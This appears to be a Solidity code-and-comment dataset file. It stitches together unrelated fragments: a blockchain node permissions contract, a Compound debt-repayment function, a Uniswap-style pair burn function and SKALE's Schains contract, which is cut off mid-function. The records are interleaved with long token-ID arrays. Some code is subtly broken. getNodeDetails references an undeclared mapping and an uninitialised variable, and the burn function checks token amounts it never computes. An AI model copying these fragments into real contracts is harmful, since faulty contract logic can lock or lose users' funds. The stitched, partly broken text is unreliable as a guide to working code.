// node permission events for initiating the recovery of blacklisted
// node
event NodeRecoveryInitiated(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
// node permission events for completing the recovery of blacklisted
// node
event NodeRecoveryCompleted(string _enodeId, string _ip, uint16 _port, uint16 _raftport, string _orgId);
/** @notice confirms that the caller is the address of implementation
contract
*/
modifier onlyImplementation {
require(msg.sender == permUpgradable.getPermImpl(), "invalid caller");
_;
}
/** @notice checks if the node exists in the network
* @param _enodeId full enode id
*/
modifier enodeExists(string memory _enodeId) {
require(enodeIdToIndex[keccak256(abi.encode(_enodeId))] != 0,
"passed enode id does not exist");
_;
}
/** @notice checks if the node does not exist in the network
* @param _enodeId full enode id
*/
modifier enodeDoesNotExists(string memory _enodeId) {
require(enodeIdToIndex[keccak256(abi.encode(_enodeId))] == 0,
"passed enode id exists");
_;
}
/** @notice constructor. sets the permissions upgradable address
*/
constructor (address _permUpgradable) public {
permUpgradable = PermissionsUpgradable(_permUpgradable);
}
/** @notice fetches the node details given an enode id
* @param _enodeId full enode id
* @return org id
* @return enode id
* @return status of the node
*/
function getNodeDetails(string calldata enodeId) external view
returns (string memory _orgId, string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, uint256 _nodeStatus) {
if (nodeIdToIndex[keccak256(abi.encode(_enodeId))] == 0) {
return ("", "", "", 0, 0, 0);
}
uint256 nodeIndex = _getNodeIndex(enodeId);
return (nodeList[nodeIndex].orgId, nodeList[nodeIndex].enodeId, nodeList[nodeIndex].ip,
nodeList[nodeIndex].port, nodeList[nodeIndex].raftPort,
nodeList[nodeIndex].status);
}
/** @notice fetches the node details given the index of the enode
* @param _nodeIndex node index
* @return org id
* @return enode id
* @return ip of the node
* @return port of the node
* @return raftport of the node
* @return status of the node
*/
function getNodeDetailsFromIndex(uint256 _nodeIndex) external view
returns (string memory _orgId, string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, uint256 _nodeStatus) {
return (nodeList[_nodeIndex].orgId, nodeList[_nodeIndex].enodeId, nodeList[_nodeIndex].ip,
nodeList[_nodeIndex].port, nodeList[_nodeIndex].raftPort,
nodeList[_nodeIndex].status);
}
/** @notice returns the total number of enodes in the network
* @return number of nodes
*/
function getNumberOfNodes() external view returns (uint256) {
return numberOfNodes;
}
/** @notice called at the time of network initialization for adding
admin nodes
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @param _raftport raft port of node
* @param _orgId org id to which the enode belongs
*/
function addAdminNode(string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, string memory _orgId) public
onlyImplementation
enodeDoesNotExists(_enodeId) {
numberOfNodes++;
enodeIdToIndex[keccak256(abi.encode(_enodeId))] = numberOfNodes;
nodeList.push(NodeDetails(_enodeId, _ip, _port, _raftport, _orgId, 2));
emit NodeApproved(_enodeId, _ip, _port, _raftport, _orgId);
}
/** @notice called at the time of new org creation to add node to org
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @param _raftport raft port of node
* @param _orgId org id to which the enode belongs
*/
function addNode(string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, string memory _orgId) public
onlyImplementation
enodeDoesNotExists(_enodeId) {
numberOfNodes++;
enodeIdToIndex[keccak256(abi.encode(_enodeId))] = numberOfNodes;
nodeList.push(NodeDetails(_enodeId, _ip, _port, _raftport, _orgId, 1));
emit NodeProposed(_enodeId, _ip, _port, _raftport, _orgId);
}
/** @notice called org admins to add new enodes to the org or sub orgs
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @param _raftport raft port of node
* @param _orgId org or sub org id to which the enode belongs
*/
function addOrgNode(string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, string memory _orgId) public
onlyImplementation
enodeDoesNotExists(_enodeId) {
numberOfNodes++;
enodeIdToIndex[keccak256(abi.encode(_enodeId))] = numberOfNodes;
nodeList.push(NodeDetails(_enodeId, _ip, _port, _raftport, _orgId, 2));
emit NodeApproved(_enodeId, _ip, _port, _raftport, _orgId);
}
/** @notice function to approve the node addition. only called at the time
master org creation by network admin
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @param _raftport raft port of node
* @param _orgId org or sub org id to which the enode belongs
*/
function approveNode(string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, string memory _orgId) public
onlyImplementation
enodeExists(_enodeId) {
// node should belong to the passed org
require(_checkOrg(_enodeId, _orgId), "enode id does not belong to the passed org id");
require(_getNodeStatus(_enodeId) == 1, "nothing pending for approval");
uint256 nodeIndex = _getNodeIndex(_enodeId);
if (keccak256(abi.encode(nodeList[nodeIndex].ip)) != keccak256(abi.encode(_ip)) || nodeList[nodeIndex].port != _port || nodeList[nodeIndex].raftPort != _raftport) {
return;
}
nodeList[nodeIndex].status = 2;
emit NodeApproved(nodeList[nodeIndex].enodeId, _ip, _port, _raftport, nodeList[nodeIndex].orgId);
}
/** @notice updates the node status. can be called for deactivating/
blacklisting and reactivating a deactivated node
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @param _raftport raft port of node
* @param _orgId org or sub org id to which the enode belong
* @param _action action being performed
* @dev action can have any of the following values
1 - Suspend the node
2 - Revoke suspension of a suspended node
3 - blacklist a node
4 - initiate the recovery of a blacklisted node
5 - blacklisted node recovery fully approved. mark to active
*/
function updateNodeStatus(string memory _enodeId, string memory _ip, uint16 _port, uint16 _raftport, string memory _orgId, uint256 _action) public
onlyImplementation
enodeExists(_enodeId) {
// node should belong to the org
require(_checkOrg(_enodeId, _orgId), "enode id does not belong to the passed org");
require((_action == 1 || _action == 2 || _action == 3 || _action == 4 || _action == 5),
"invalid operation. wrong action passed");
uint256 nodeIndex = _getNodeIndex(_enodeId);
if (keccak256(abi.encode(nodeList[nodeIndex].ip)) != keccak256(abi.encode(_ip)) || nodeList[nodeIndex].port != _port || nodeList[nodeIndex].raftPort != _raftport) {
return;
}
if (_action == 1) {
require(_getNodeStatus(_enodeId) == 2, "operation cannot be performed");
nodeList[nodeIndex].status = 3;
emit NodeDeactivated(_enodeId, _ip, _port, _raftport, _orgId);
}
else if (_action == 2) {
require(_getNodeStatus(_enodeId) == 3, "operation cannot be performed");
nodeList[nodeIndex].status = 2;
emit NodeActivated(_enodeId, _ip, _port, _raftport, _orgId);
}
else if (_action == 3) {
nodeList[nodeIndex].status = 4;
emit NodeBlacklisted(_enodeId, _ip, _port, _raftport, _orgId);
} else if (_action == 4) {
// node should be in blacklisted state
require(_getNodeStatus(_enodeId) == 4, "operation cannot be performed");
nodeList[nodeIndex].status = 5;
emit NodeRecoveryInitiated(_enodeId, _ip, _port, _raftport, _orgId);
} else {
// node should be in initiated recovery state
require(_getNodeStatus(_enodeId) == 5, "operation cannot be performed");
nodeList[nodeIndex].status = 2;
emit NodeRecoveryCompleted(_enodeId, _ip, _port, _raftport, _orgId);
}
}
// private functions
/** @notice returns the node index for given enode id
* @param _enodeId enode id
* @return trur or false
*/
function _getNodeIndex(string memory _enodeId) internal view
returns (uint256) {
return enodeIdToIndex[keccak256(abi.encode(_enodeId))] - 1;
}
/** @notice checks if enode id is linked to the org id passed
* @param _enodeId enode id
* @param _orgId org or sub org id to which the enode belongs
* @return true or false
*/
function _checkOrg(string memory _enodeId, string memory _orgId) internal view
returns (bool) {
return (keccak256(abi.encode(nodeList[_getNodeIndex(_enodeId)].orgId)) == keccak256(abi.encode(_orgId)));
}
/** @notice returns the node status for a given enode id
* @param _enodeId enode id
* @return node status
*/
function _getNodeStatus(string memory _enodeId) internal view returns (uint256) {
if (enodeIdToIndex[keccak256(abi.encode(_enodeId))] == 0) {
return 0;
}
return nodeList[_getNodeIndex(_enodeId)].status;
}
/** @notice checks if the node is allowed to connect or not
* @param _enodeId enode id
* @param _ip IP of node
* @param _port tcp port of node
* @return bool indicating if the node is allowed to connect or not
*/
function connectionAllowed(string memory _enodeId, string memory _ip, uint16 _port) public view onlyImplementation
returns (bool){
if (enodeIdToIndex[keccak256(abi.encode(_enodeId))] == 0) {
return false;
}
uint256 nodeIndex = _getNodeIndex(_enodeId);
if (nodeList[nodeIndex].status == 2 && keccak256(abi.encode(nodeList[nodeIndex].ip)) == keccak256(abi.encode(_ip))) {
return true;
}
return false;
}
}
| * @notice checks if the node exists in the network @param _enodeId full enode id/ | modifier enodeExists(string memory _enodeId) {
require(enodeIdToIndex[keccak256(abi.encode(_enodeId))] != 0,
"passed enode id does not exist");
_;
}
| 12,561,400 | [
1,
12366,
309,
326,
756,
1704,
316,
326,
2483,
225,
389,
20680,
548,
1983,
570,
390,
612,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
570,
390,
4002,
12,
1080,
3778,
389,
20680,
548,
13,
288,
203,
3639,
2583,
12,
20680,
548,
19418,
63,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
20680,
548,
3719,
65,
480,
374,
16,
203,
5411,
315,
23603,
570,
390,
612,
1552,
486,
1005,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x50d9174DD1e494823f4fADC4De2531Aa81c1140A/sources/CompoundManager.sol | * @dev Decreases the debt by repaying some token from a loan identified by its ID. @param _wallet The target wallet. @param _loanId bytes32(0) as Compound does not allow the creation of multiple loans. @param _debtToken The token to repay. @param _debtAmount The amount of token to repay./ | function removeDebt(
BaseWallet _wallet,
bytes32 _loanId,
address _debtToken,
uint256 _debtAmount
)
external
onlyWalletOwner(_wallet)
onlyWhenUnlocked(_wallet)
{
address dToken = compoundRegistry.getCToken(_debtToken);
repayBorrow(_wallet, dToken, _debtAmount);
exitMarketIfNeeded(_wallet, dToken, address(comptroller));
emit DebtRemoved(address(_wallet), _loanId, _debtToken, _debtAmount);
}
| 9,154,493 | [
1,
23326,
3304,
326,
18202,
88,
635,
2071,
528,
310,
2690,
1147,
628,
279,
28183,
9283,
635,
2097,
1599,
18,
225,
389,
19177,
1021,
1018,
9230,
18,
225,
389,
383,
304,
548,
1731,
1578,
12,
20,
13,
487,
21327,
1552,
486,
1699,
326,
6710,
434,
3229,
437,
634,
18,
225,
389,
323,
23602,
1345,
1021,
1147,
358,
2071,
528,
18,
225,
389,
323,
23602,
6275,
1021,
3844,
434,
1147,
358,
2071,
528,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1206,
758,
23602,
12,
203,
3639,
3360,
16936,
389,
19177,
16,
7010,
3639,
1731,
1578,
389,
383,
304,
548,
16,
7010,
3639,
1758,
389,
323,
23602,
1345,
16,
7010,
3639,
2254,
5034,
389,
323,
23602,
6275,
203,
565,
262,
7010,
3639,
3903,
203,
3639,
1338,
16936,
5541,
24899,
19177,
13,
203,
3639,
1338,
9434,
7087,
329,
24899,
19177,
13,
203,
565,
288,
203,
3639,
1758,
302,
1345,
273,
11360,
4243,
18,
588,
1268,
969,
24899,
323,
23602,
1345,
1769,
203,
3639,
2071,
528,
38,
15318,
24899,
19177,
16,
302,
1345,
16,
389,
323,
23602,
6275,
1769,
203,
3639,
2427,
3882,
278,
18299,
24899,
19177,
16,
302,
1345,
16,
1758,
12,
832,
337,
1539,
10019,
203,
3639,
3626,
1505,
23602,
10026,
12,
2867,
24899,
19177,
3631,
389,
383,
304,
548,
16,
389,
323,
23602,
1345,
16,
389,
323,
23602,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x6AeAF511e3A7B2f589bdA2A558FEEAB5327D27D8/sources/UnisaveV2Pair.sol | this low-level function should be called from a contract which performs important safety checks | function burn(address to) external lock returns (uint amount0, uint amount1) {
uint balance0 = b0().sub(dummy0);
uint balance1 = b1().sub(dummy1);
uint liquidity = balanceOf[address(this)];
require(amount0 > 0 && amount1 > 0, 'UnisaveV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = b0();
balance1 = b1();
_update(balance0, balance1, _reserve0, _reserve1);
emit Burn(msg.sender, amount0, amount1, to);
}
| 8,645,989 | [
1,
2211,
4587,
17,
2815,
445,
1410,
506,
2566,
628,
279,
6835,
1492,
11199,
225,
10802,
24179,
4271,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
2867,
358,
13,
3903,
2176,
1135,
261,
11890,
3844,
20,
16,
2254,
3844,
21,
13,
288,
203,
3639,
2254,
11013,
20,
273,
324,
20,
7675,
1717,
12,
21050,
20,
1769,
203,
3639,
2254,
11013,
21,
273,
324,
21,
7675,
1717,
12,
21050,
21,
1769,
203,
3639,
2254,
4501,
372,
24237,
273,
11013,
951,
63,
2867,
12,
2211,
13,
15533,
203,
203,
3639,
2583,
12,
8949,
20,
405,
374,
597,
3844,
21,
405,
374,
16,
296,
984,
291,
836,
58,
22,
30,
2120,
6639,
42,
1653,
7266,
2222,
67,
2053,
53,
3060,
4107,
67,
38,
8521,
2056,
8284,
203,
3639,
389,
70,
321,
12,
2867,
12,
2211,
3631,
4501,
372,
24237,
1769,
203,
3639,
389,
4626,
5912,
24899,
2316,
20,
16,
358,
16,
3844,
20,
1769,
203,
3639,
389,
4626,
5912,
24899,
2316,
21,
16,
358,
16,
3844,
21,
1769,
203,
3639,
11013,
20,
273,
324,
20,
5621,
203,
3639,
11013,
21,
273,
324,
21,
5621,
203,
203,
3639,
389,
2725,
12,
12296,
20,
16,
11013,
21,
16,
389,
455,
6527,
20,
16,
389,
455,
6527,
21,
1769,
203,
3639,
3626,
605,
321,
12,
3576,
18,
15330,
16,
3844,
20,
16,
3844,
21,
16,
358,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-only
/*
Schains.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
import "@skalenetwork/skale-manager-interfaces/ISchains.sol";
import "@skalenetwork/skale-manager-interfaces/ISkaleVerifier.sol";
import "@skalenetwork/skale-manager-interfaces/ISkaleDKG.sol";
import "@skalenetwork/skale-manager-interfaces/ISchainsInternal.sol";
import "@skalenetwork/skale-manager-interfaces/IKeyStorage.sol";
import "@skalenetwork/skale-manager-interfaces/INodeRotation.sol";
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "./Permissions.sol";
import "./ConstantsHolder.sol";
import "./utils/FieldOperations.sol";
/**
* @title Schains
* @dev Contains functions to manage Schains such as Schain creation,
* deletion, and rotation.
*/
contract Schains is Permissions, ISchains {
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set;
struct SchainParameters {
uint lifetime;
uint8 typeOfSchain;
uint16 nonce;
string name;
address originator;
SchainOption[] options;
}
// schainHash => Set of options hashes
mapping (bytes32 => EnumerableSetUpgradeable.Bytes32Set) private _optionsIndex;
// schainHash => optionHash => schain option
mapping (bytes32 => mapping (bytes32 => SchainOption)) private _options;
bytes32 public constant SCHAIN_CREATOR_ROLE = keccak256("SCHAIN_CREATOR_ROLE");
modifier schainExists(ISchainsInternal schainsInternal, bytes32 schainHash) {
require(schainsInternal.isSchainExist(schainHash), "The schain does not exist");
_;
}
/**
* @dev Allows SkaleManager contract to create an Schain.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - Schain type is valid.
* - There is sufficient deposit to create type of schain.
* - If from is a smart contract originator must be specified
*/
function addSchain(address from, uint deposit, bytes calldata data) external override allow("SkaleManager") {
SchainParameters memory schainParameters = abi.decode(data, (SchainParameters));
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
uint schainCreationTimeStamp = constantsHolder.schainCreationTimeStamp();
uint minSchainLifetime = constantsHolder.minimalSchainLifetime();
require(block.timestamp >= schainCreationTimeStamp, "It is not a time for creating Schain");
require(
schainParameters.lifetime >= minSchainLifetime,
"Minimal schain lifetime should be satisfied"
);
require(
getSchainPrice(schainParameters.typeOfSchain, schainParameters.lifetime) <= deposit,
"Not enough money to create Schain");
_addSchain(from, deposit, schainParameters);
}
/**
* @dev Allows the foundation to create an Schain without tokens.
*
* Emits an {SchainCreated} event.
*
* Requirements:
*
* - sender is granted with SCHAIN_CREATOR_ROLE
* - Schain type is valid.
* - If schain owner is a smart contract schain originator must be specified
*/
function addSchainByFoundation(
uint lifetime,
uint8 typeOfSchain,
uint16 nonce,
string calldata name,
address schainOwner,
address schainOriginator,
SchainOption[] calldata options
)
external
payable
override
{
require(hasRole(SCHAIN_CREATOR_ROLE, msg.sender), "Sender is not authorized to create schain");
SchainParameters memory schainParameters = SchainParameters({
lifetime: lifetime,
typeOfSchain: typeOfSchain,
nonce: nonce,
name: name,
originator: schainOriginator,
options: options
});
address _schainOwner;
if (schainOwner != address(0)) {
_schainOwner = schainOwner;
} else {
_schainOwner = msg.sender;
}
_addSchain(_schainOwner, 0, schainParameters);
bytes32 schainHash = keccak256(abi.encodePacked(name));
IWallets(payable(contractManager.getContract("Wallets"))).rechargeSchainWallet{value: msg.value}(schainHash);
}
/**
* @dev Allows SkaleManager to remove an schain from the network.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Executed by schain owner.
*/
function deleteSchain(address from, string calldata name) external override allow("SkaleManager") {
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
require(
schainsInternal.isOwnerAddress(from, schainHash),
"Message sender is not the owner of the Schain"
);
_deleteSchain(name, schainsInternal);
}
/**
* @dev Allows SkaleManager to delete any Schain.
* Upon removal, the space availability of each node is updated.
*
* Emits an {SchainDeleted} event.
*
* Requirements:
*
* - Schain exists.
*/
function deleteSchainByRoot(string calldata name) external override allow("SkaleManager") {
_deleteSchain(name, ISchainsInternal(contractManager.getContract("SchainsInternal")));
}
/**
* @dev Allows SkaleManager contract to restart schain creation by forming a
* new schain group. Executed when DKG procedure fails and becomes stuck.
*
* Emits a {NodeAdded} event.
*
* Requirements:
*
* - Previous DKG procedure must have failed.
* - DKG failure got stuck because there were no free nodes to rotate in.
* - A free node must be released in the network.
*/
function restartSchainCreation(string calldata name) external override allow("SkaleManager") {
INodeRotation nodeRotation = INodeRotation(contractManager.getContract("NodeRotation"));
bytes32 schainHash = keccak256(abi.encodePacked(name));
ISkaleDKG skaleDKG = ISkaleDKG(contractManager.getContract("SkaleDKG"));
require(!skaleDKG.isLastDKGSuccessful(schainHash), "DKG success");
ISchainsInternal schainsInternal = ISchainsInternal(
contractManager.getContract("SchainsInternal"));
require(schainsInternal.isAnyFreeNode(schainHash), "No free Nodes for new group formation");
uint newNodeIndex = nodeRotation.selectNodeToGroup(schainHash);
skaleDKG.openChannel(schainHash);
emit NodeAdded(schainHash, newNodeIndex);
}
/**
* @dev Checks whether schain group signature is valid.
*/
function verifySchainSignature(
uint signatureA,
uint signatureB,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
string calldata schainName
)
external
view
override
returns (bool)
{
ISkaleVerifier skaleVerifier = ISkaleVerifier(contractManager.getContract("SkaleVerifier"));
ISkaleDKG.G2Point memory publicKey = G2Operations.getG2Zero();
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
if (
INodeRotation(contractManager.getContract("NodeRotation")).isNewNodeFound(schainHash) &&
INodeRotation(contractManager.getContract("NodeRotation")).isRotationInProgress(schainHash) &&
ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schainHash)
) {
publicKey = IKeyStorage(
contractManager.getContract("KeyStorage")
).getPreviousPublicKey(
schainHash
);
} else {
publicKey = IKeyStorage(
contractManager.getContract("KeyStorage")
).getCommonPublicKey(
schainHash
);
}
return skaleVerifier.verify(
ISkaleDKG.Fp2Point({
a: signatureA,
b: signatureB
}),
hash, counter,
hashA, hashB,
publicKey
);
}
function getOption(bytes32 schainHash, string calldata optionName) external view override returns (bytes memory) {
bytes32 optionHash = keccak256(abi.encodePacked(optionName));
ISchainsInternal schainsInternal = ISchainsInternal(
contractManager.getContract("SchainsInternal"));
return _getOption(schainHash, optionHash, schainsInternal);
}
function getOptions(bytes32 schainHash) external view override returns (SchainOption[] memory) {
SchainOption[] memory options = new SchainOption[](_optionsIndex[schainHash].length());
for (uint i = 0; i < options.length; ++i) {
options[i] = _options[schainHash][_optionsIndex[schainHash].at(i)];
}
return options;
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Returns the current price in SKL tokens for given Schain type and lifetime.
*/
function getSchainPrice(uint typeOfSchain, uint lifetime) public view override returns (uint) {
ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getConstantsHolder());
ISchainsInternal schainsInternal = ISchainsInternal(contractManager.getContract("SchainsInternal"));
uint nodeDeposit = constantsHolder.NODE_DEPOSIT();
uint numberOfNodes;
uint8 divisor;
(divisor, numberOfNodes) = schainsInternal.getSchainType(typeOfSchain);
if (divisor == 0) {
return 1e18;
} else {
uint up = nodeDeposit * numberOfNodes * lifetime * 2;
uint down = uint(
uint(constantsHolder.SMALL_DIVISOR())
* uint(constantsHolder.SECONDS_TO_YEAR())
/ divisor
);
return up / down;
}
}
/**
* @dev Initializes an schain in the SchainsInternal contract.
*
* Requirements:
*
* - Schain name is not already in use.
*/
function _initializeSchainInSchainsInternal(
string memory name,
address from,
address originator,
uint deposit,
uint lifetime,
ISchainsInternal schainsInternal,
SchainOption[] memory options
)
private
{
require(schainsInternal.isSchainNameAvailable(name), "Schain name is not available");
bytes32 schainHash = keccak256(abi.encodePacked(name));
for (uint i = 0; i < options.length; ++i) {
_setOption(schainHash, options[i]);
}
// initialize Schain
schainsInternal.initializeSchain(name, from, originator, lifetime, deposit);
}
/**
* @dev Allows creation of node group for Schain.
*
* Emits an {SchainNodes} event.
*/
function _createGroupForSchain(
string memory schainName,
bytes32 schainHash,
uint numberOfNodes,
uint8 partOfNode,
